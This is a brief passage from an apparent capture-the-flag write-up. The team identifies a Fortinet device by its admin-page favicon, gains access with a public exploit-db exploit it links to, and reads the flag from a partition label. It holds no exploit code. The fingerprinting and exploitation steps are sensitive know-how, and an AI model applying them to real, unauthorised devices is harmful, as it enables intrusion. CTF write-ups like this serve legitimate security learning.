Finding the exploit, we did some google-fu and learned a bit about some of the exploits for the device, but we didn’t know which device on the network it was.
We connected to one of the devices and figured out that the favicon of the admin page was Fortinet’s logo. From there we started to run some of the exploits. The one that worked for us was https://www.exploit-db.com/exploits/43386

Getting the flag
After we gained access, we listed the disks to get the flag, which was the md5 of the partion label.
